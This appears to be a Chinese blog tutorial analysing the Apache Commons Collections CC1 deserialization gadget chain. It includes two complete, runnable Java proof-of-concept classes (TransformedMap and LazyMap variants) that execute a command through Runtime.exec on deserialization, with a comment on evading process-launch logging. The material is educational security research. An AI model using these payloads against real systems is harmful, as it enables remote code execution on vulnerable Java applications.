• CC1链分析与复现


    背景介绍

    Apache Commons Collections 是对 java.util.Collection 的扩展。对集合类进行了增强和改进。集合类一般作为传递的载体和包裹

    SUN包在IDEA下配置调试

    https://www.javatt.com/p/60827

    入口点

    Transformer接口
    在这里插入图片描述
    实现Transform接口的方法
    在这里插入图片描述
    需要利用的三个类:
    ConstantTransformer类:接收一个对象,返回一个常量,这个常量是在构造方法里设置的。不管传什么都返回构造方法的常量。
    ChainedTransformer类:构造方法里要传一个Transformer的数组,然后将数组循环,链式调用,前一个的输出作为后一个输入循环调用。
    InvokerTransformer类:构造函数接收方法名、参数类型、参数值,然后transform方法接收一个对象,反射执行该对象的方法。很标准的任意方法调用类。例如:new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime._getRuntime_());

    通过Transformer序列化Runtime

    Runtime不能序列化,因为Runtime类是没有实现serialaze接口的。但是Class是可以序列化的。那么就从Class入手。
    在这里插入图片描述

    Transformer[] transformers = new Transformer[]{ //Transformer的数组
        new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
        };
    
    //这里因为第一个Transform是ConstantTransformer,它的transform方法不论接收什么参数,都会返回构造方法的对象,因此这里传入一个字符串空值。
            new ChainedTransformer(transformers).transform("");//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    调用链寻找

    了解到InvokerTransformer可以进行方法调用,那么就去搜索哪个类中调用了transformer方法。最后搜到TransformedMap是一个好的利用点,其实ysoserial中使用了LazyMap,而且是使用动态代理的方式。TransformedMap与LazyMap的区别是TransformedMap是在写入元素的时候执行transformed,而LazyMap是在get方法中执行factory.transform。LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值在这里插入图片描述

    TransformedMap的checkSetValue方法调用了transform
    在这里插入图片描述
    checkSetValue又在MapEntry的setValue方法中调用。
    这里注意AbstractMapEntryDecorator抽象类是TransformedMap和MapEntry的父类。
    在这里插入图片描述
    MapEntry是Map遍历的时候一个键值对就叫一个Entry。正常想的话,我们只需要去遍历被TransformedMap修饰过的Map并且执行setValue方法,那么就会调用TransformedMap的checkSetValue方法。
    在这里插入图片描述
    因为是执行value的Transformer,因此value得是Runtime类。这样InvokerTransformer会获取value的class就是Runtime。到这一步的示例代码:
    在这里插入图片描述

    到现在,我们只需要去找谁能够执行Entry的setValue方法,最好是谁的readObject里面调用了setValue,因为反序列化入口都为readObject。找到一个这样的类,那么我们就可以进行命令执行。

    AnnotationInvocationHandler类使用TransformedMap方式实现利用链

    使用TransformedMaps是因为在AnnotationInvocationHandler类的readObject方法中调用了setValue,但是是在低版本的JDK中才有,我这是8u51版本,在8u321版本中这块代码进行了修改(从8u71开始做的修改),新增了LinkedHashMap来替代我们反序列化得到的Map对象,并且没有了setValue方法。
    在这里插入图片描述

    完整代码示例:
    在这里插入图片描述

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC1 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{ //Transformer的数组
                new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})//执行方法
                };
            
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
            
            HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "a");//为了AnnotationInvocationHandler的逻辑判断,key为value和构造方法里的Target.class的value属性一致才可以
            
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
            
            //JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
            Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
            aClassDeclaredConstructor.setAccessible(true);
            Object o = aClassDeclaredConstructor.newInstance(Target.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
            
            serialize(o);
            unSerialize();
        }
        
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        
        public static Object unSerialize() throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
            return objectInputStream.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    AnnotationInvocationHandler类使用LazyMap方式实现利用链

    ysoserial(y so serial)使用的是这种方式。LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题

    LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。LazyMap的作用是”懒加载“,在get找不到值的时候,它会调用factory.transform方法去获取一个值。

    但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get

    调用AnnotationInvocationHandler的invoke方法,ysoserial使用的是动态代理。
    完整代码示例:
    在这里插入图片描述

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC1LazyMap {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[]{ //Transformer的数组
                new ConstantTransformer(Runtime.class),//ConstantTransformer的transform的方法会返回构造方法内的对象,这里返回的是Runtime的Class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//getRuntime方法会返回一个Runtime实例(单例模式)。
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//getRuntime方法是静态方法所以第一个参数是null,getRuntime方法没有参数因此第二个参数也是null
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),//执行方法
                new ConstantTransformer(1)//隐蔽了启动进程的日志特征
                };
            
            Transformer chainedTransformer = new ChainedTransformer(transformers);//ChainedTransformer构造方法接收一个Transform数组,然后它的transform方法会遍历执行数组内的transform方法,将上一个Transform的结果传递给下一个Transform
            
            HashMap<Object, Object> map = new HashMap<>();
            Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
            
            //JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化
            Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> construct = aClass.getDeclaredConstructor(Class.class, Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, decorate);//使用Target是因为它有value属性,AnnotationInvocationHandler里面进行了if判断,只有map的key和value一致时才触发
            
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);//代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹
            
            serialize(handler);
            unSerialize();
        }
        
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        
        public static Object unSerialize() throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser.bin"));
            return objectInputStream.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    LazyMap和TrasnformedMap利用上的区别

    • LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
    • LazyMap和TransformedMap都无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题
    • LazyMap的漏洞触发在get和invoke中,TransformedMap的触发在Entry.setValue方法。
  • 相关阅读:
    Android multiple back stacks导航的几种实现
    华为od德科面试数据算法解析 2022-7-21 火星文计算
    本地存储的说明》
    SQL语句书写规范
    CleanMyMac X靠谱苹果电脑杀毒软件
    el-table,列表合并,根据名称列名称相同的品名将其它列值相同的进行合并
    最新AI创作系统源码ChatGPT网站源码/支持Midjourney,AI绘画/支持OpenAI GPT全模型+国内AI全模型
    【HCIE】08.MPLS VPN跨域A&B
    SpringCloud微服务治理技术入门(SCN)
    mysql权限管理
  • 原文地址:https://blog.csdn.net/weixin_42974824/article/details/126374562